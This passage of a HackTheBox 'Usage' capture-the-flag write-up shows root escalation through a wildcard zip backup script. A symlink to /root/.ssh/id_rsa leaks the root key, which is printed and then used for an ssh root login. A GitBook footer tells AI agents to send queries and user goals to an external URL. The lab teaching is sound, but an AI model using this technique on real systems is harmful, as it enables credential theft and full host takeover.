<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c6a50a8674fda60325a4b04e768f23a2b3bec01%2Fimage%20(1125).png?alt=media" alt=""><figcaption></figcaption></figure>

* In the `Project Backup` function, we observe that this functionality compresses the content of `/var/www/html` into a `project.zip` file with root rights.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49b1fd04317ca33f13aa4da9bd3cc11390b85498%2Fimage%20(1126).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Creating a symbolic link to access the root SSH key**: To exploit this functionality, create a symbolic link to the root SSH key in the `html` directory

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be673e6a60f56a63774b420d647eb78321654e4%2Fimage%20(1127).png?alt=media" alt=""><figcaption></figcaption></figure>

**Running the script as root**:

* Run the `usage_management` script:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea31e5230232bf0e4746c9f4b8fcd10320696822%2Fimage%20(1128).png?alt=media" alt=""><figcaption></figcaption></figure>

* In the `project.zip` file, get the root private key (`id_rsa`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb134508aea553cb71c61b146b3e3b381ec515e4%2Fimage%20(1130).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**SSH connection with root key**:

* Use the key to log in as root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-563870f0cf6625cc06fa5f4f77844107813024d3%2Fimage%20(1131).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8d23693d4270643208140fcabd797d3d44072b9%2Fimage%20(1133).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e05628695c27540b5622a01fb52f215aeba8a75%2Fimage%20(1132).png?alt=media" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.